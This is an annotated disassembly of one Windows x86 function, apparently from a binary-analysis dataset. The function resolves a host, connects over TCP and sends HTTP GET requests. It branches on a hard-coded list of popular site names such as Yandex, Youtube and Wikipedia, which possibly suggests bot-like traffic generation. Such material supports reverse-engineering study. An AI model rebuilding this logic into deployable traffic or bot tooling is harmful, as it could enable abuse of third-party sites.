Function at 0x406910
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x40694
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
push edi
mov dword [esp + 0x4069c], eax
xor eax, eax
xor ebx, ebx
mov byte [esp + 0x1e98], bl
mov ecx, 0xf9ff
lea edi, [esp + 0x1e99]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x50
stosb byte es:[edi], al
mov word [esp + 0x88], 2
call dword [sym.imp.WSOCK32.dll_htons]
mov esi, dword [ebp + 0xc]
mov word [esp + 0x86], ax
imul esi, esi, 0x1448
mov byte [esp + 0xb0], bl
xor eax, eax
mov ecx, 0x7f
lea edi, [esp + 0xb1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
sub esp, 0x1c
mov ecx, esp
stosb byte es:[edi], al
push 0xffffffffffffffff
lea esi, [esi + 0x432d44]
push ebx
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push esi
mov byte [ecx + 4], bl
mov dword [esp + 0x38], esi
call fcn.00401f40
call fcn.00404830
add esp, 0x1c
cmp eax, ebx
je 0x406a05
sub esp, 0x1c
mov ecx, esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push esi
mov byte [ecx + 4], bl
call fcn.00401f40
call fcn.00404400
push eax
lea eax, [esp + 0xd0]
push 0x41b38c
push eax
call fcn.00411af5
push str._nAssoc:__n
call fcn.0040a180
lea ecx, [esp + 0xdc]
push ecx
call fcn.0040a180
add esp, 0x30
jmp 0x406a29
cmp dword [esi + 0x18], 0x10
jb 0x406a10
mov eax, dword [esi + 4]
jmp 0x406a13
lea eax, [esi + 4]
push eax
lea edx, [esp + 0xb4]
push 0x41b38c
push edx
call fcn.00411af5
add esp, 0xc
push 0xa
push str.0123456789
lea ecx, [esp + 0x9c]
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], 0
call fcn.00402030
lea eax, [esp + 0xb0]
mov dword [esp + 0x64], edi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406a70
sub eax, edx
push eax
lea eax, [esp + 0xb4]
push eax
lea ecx, [esp + 0x54]
call fcn.00402030
mov ecx, dword [esp + 0x60]
push 1
dec ecx
push ecx
lea edx, [esp + 0x54]
push edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], edi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
call fcn.00401f40
cmp dword [esp + 0x30], 0x10
mov eax, dword [esp + 0x1c]
jae 0x406abd
lea eax, [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
push ecx
push ebx
push eax
lea ecx, [esp + 0xa0]
call fcn.00403440
cmp eax, 0xffffffff
je 0x406ae5
lea edx, [esp + 0xb0]
push edx
call dword [sym.imp.WSOCK32.dll_inet_addr]
jmp 0x406afa
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push 6
push 1
push 2
mov dword [esp + 0x94], eax
call dword [sym.imp.WSOCK32.dll_socket]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x406b55
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
push eax
lea ecx, [esp + 0xab4]
push str.Socket_could_not_connect__exiting:__d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0xabc]
push edx
call fcn.0040a180
mov esi, dword [ebp + 0xc]
push esi
call fcn.00405460
push esi
call fcn.00408e70
add esp, 0x18
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitThread]
push 0x10
lea ecx, [esp + 0x88]
push ecx
push eax
call dword [sym.imp.WSOCK32.dll_connect]
mov edx, eax
xor eax, eax
mov byte [esp + 0x6b0], 0
mov ecx, 0xff
lea edi, [esp + 0x6b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x2b0], 0
mov ecx, 0xff
lea edi, [esp + 0x2b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
cmp edx, 0xffffffff
mov byte [esp + 0xe98], 0
mov ecx, 0x3ff
lea edi, [esp + 0xe99]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jne 0x406bff
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
push eax
push 0xffffffffffffffff
lea edx, [esp + 0xab8]
push str.Socket_state:__d__Socket_error:__d
push edx
call fcn.00411af5
lea eax, [esp + 0xac0]
push eax
call fcn.0040a180
mov esi, dword [ebp + 0xc]
push esi
call fcn.00405460
push esi
call fcn.00408e70
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitThread]
xor ecx, ecx
mov dword [esp + 0x35], ecx
mov dword [esp + 0x39], ecx
mov dword [esp + 0x3d], ecx
mov dword [esp + 0x41], ecx
mov dword [esp + 0x45], ecx
lea edx, [esp + 0x34]
mov word [esp + 0x49], cx
push edx
mov byte [esp + 0x38], 0
mov byte [esp + 0x4f], cl
call fcn.004042c0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00405790
mov edi, dword [ebp + 0x10]
push 0x41c278
push edi
mov ebx, eax
call fcn.00412990
add esp, 0x10
test eax, eax
jne 0x406ec8
sub esp, 0x1c
mov ecx, esp
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], eax
push esi
mov byte [ecx + 4], al
call fcn.00401f40
call fcn.00404830
add esp, 0x1c
test eax, eax
je 0x406ec8
mov edi, 0x41be44
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Yandex
mov esi, ebx
mov ecx, 7
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, 0x41bef8
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Youtube
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.VideoGoogle
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Wordpress
mov esi, ebx
mov ecx, 0xa
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Wikipedia
mov esi, ebx
mov ecx, 0xa
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, 0x41bec0
mov esi, ebx
mov ecx, 4
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Microsoft
mov esi, ebx
mov ecx, 0xa
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.About
mov esi, ebx
mov ecx, 6
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, 0x41be98
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Ebay
mov esi, ebx
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Lycos
mov esi, ebx
mov ecx, 6
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Youporn
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, 0x41be9c
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Verizon
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov edi, str.Rambler
mov esi, ebx
mov ecx, 8
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x406df5
mov ecx, dword [ebp + 0x10]
lea eax, [esp + 0xb0]
push eax
push ecx
push str.GET__s_HTTP_1.0_r_nHost:__s_r_n
lea edx, [esp + 0x6bc]
push edx
jmp 0x406e19
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x18], 0x10
jb 0x406e04
mov eax, dword [eax + 4]
jmp 0x406e07
add eax, 4
push eax
mov eax, dword [ebp + 0x10]
push eax
push str.GET__s_HTTP_1.0_r_nHost:__s_r_n
lea ecx, [esp + 0x6bc]
push ecx
call fcn.00411af5
lea eax, [esp + 0x6c0]
add esp, 0x10
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406e30
lea edi, [esp + 0x2b0]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406e41
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406e60
lea edi, [esp + 0x2b0]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406e73
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2b0]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x406e91
mov edx, dword [str.Connection:_Close_r_n]
mov eax, dword [0x41c24c]
mov ecx, dword [0x41c250]
mov dword [edi], edx
mov edx, dword [0x41c254]
mov dword [edi + 4], eax
mov eax, dword [0x41c258]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov dword [edi + 0x10], eax
jmp 0x4071b9
sub esp, 0x1c
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push esi
mov byte [ecx + 4], 0
call fcn.00401f40
call fcn.00404830
add esp, 0x1c
test eax, eax
je 0x40712d
mov edi, 0x41be44
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Yandex
mov esi, ebx
mov ecx, 7
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, 0x41bef8
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Youtube
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.VideoGoogle
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Wordpress
mov esi, ebx
mov ecx, 0xa
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Wikipedia
mov esi, ebx
mov ecx, 0xa
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, 0x41bec0
mov esi, ebx
mov ecx, 4
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Microsoft
mov esi, ebx
mov ecx, 0xa
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.About
mov esi, ebx
mov ecx, 6
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, 0x41be98
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Ebay
mov esi, ebx
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Lycos
mov esi, ebx
mov ecx, 6
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Youporn
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, 0x41be9c
mov esi, ebx
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Verizon
mov esi, ebx
mov ecx, 8
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
mov edi, str.Rambler
mov esi, ebx
mov ecx, 8
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40705c
lea eax, [esp + 0xb0]
jmp 0x40706e
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x18], 0x10
jb 0x40706b
mov eax, dword [eax + 4]
jmp 0x40706e
add eax, 4
mov edx, dword [ebp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
push edx
lea eax, [esp + 0x6bc]
push str.GET__snc_s_HTTP_1.0_r_nHost:__s_r_n
push eax
call fcn.00411af5
lea eax, [esp + 0x6c4]
add esp, 0x14
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407096
lea edi, [esp + 0x2b0]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4070a7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4070c4
lea edi, [esp + 0x2b0]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4070d7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2b0]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4070f5
mov ecx, dword [str.Connection:_Close_r_n]
mov edx, dword [0x41c24c]
mov eax, dword [0x41c250]
mov dword [edi], ecx
mov ecx, dword [0x41c254]
mov dword [edi + 4], edx
mov edx, dword [0x41c258]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 0x10], edx
jmp 0x4071b9
cmp dword [esi + 0x18], 0x10
jb 0x407138
mov esi, dword [esi + 4]
jmp 0x40713b
add esi, 4
push esi
push edi
lea eax, [esp + 0x6b8]
push str.GET__s_HTTP_1.1_r_nHost:__s_r_n
push eax
call fcn.00411af5
lea eax, [esp + 0x6c0]
add esp, 0x10
mov edx, eax
jmp 0x407160
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407160
lea edi, [esp + 0x2b0]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407171
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407190
lea edi, [esp + 0x2b0]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4071a3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2b0]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4071c1
mov cx, word [0x41c204]
mov dl, byte [0x41c206]
push 0
lea eax, [esp + 0x2b4]
mov word [edi], cx
push eax
mov byte [edi + 2], dl
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebx, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call dword [sym.imp.WSOCK32.dll_send]
push 0x41b5fe
lea edx, [esp + 0x2b4]
push 0x41b38c
push edx
call fcn.00411af5
add esp, 0xc
xor eax, eax
push eax
mov ecx, 0x400
lea edi, [esp + 0xe9c]
rep stosd dword es:[edi], eax
push 0xfff
lea eax, [esp + 0xea0]
push eax
push ebx
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
je 0x4072a1
cmp eax, 0xffffffff
je 0x4072a1
lea eax, [esp + 0xe98]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407251
lea edi, [esp + 0x1e98]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407262
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
push eax
mov ecx, 0x400
lea edi, [esp + 0xe9c]
rep stosd dword es:[edi], eax
push 0xfff
lea ecx, [esp + 0xea0]
push ecx
push ebx
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
jne 0x407243
push ebx
call dword [sym.imp.WSOCK32.dll_closesocket]
mov edi, 0xf
lea eax, [esp + 0x1e98]
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], 0
mov byte [esp + 0x6c], 0
lea edx, [eax + 1]
jmp 0x4072d0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4072d0
sub eax, edx
push eax
lea edx, [esp + 0x1e9c]
push edx
lea ecx, [esp + 0x70]
call fcn.00402030
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x70]
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], 0
push eax
mov ecx, esi
mov byte [esi + 4], 0
call fcn.00401f40
mov eax, dword [esp + 0x80]
mov ebx, 0x10
cmp eax, ebx
jb 0x407329
mov ecx, dword [esp + 0x6c]
push ecx
call fcn.00412292
add esp, 4
cmp dword [esp + 0x30], ebx
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], 0
mov byte [esp + 0x6c], 0
jb 0x407350
mov edx, dword [esp + 0x1c]
push edx
call fcn.00412292
add esp, 4
cmp dword [esp + 0x64], ebx
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], 0
mov byte [esp + 0x1c], 0
jb 0x407374
mov eax, dword [esp + 0x50]
push eax
call fcn.00412292
add esp, 4
cmp dword [esp + 0xac], ebx
mov dword [esp + 0x64], edi
mov dword [esp + 0x60], 0
mov byte [esp + 0x50], 0
jb 0x40739e
mov ecx, dword [esp + 0x98]
push ecx
call fcn.00412292
add esp, 4
mov ecx, dword [esp + 0x4069c]
mov eax, esi
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret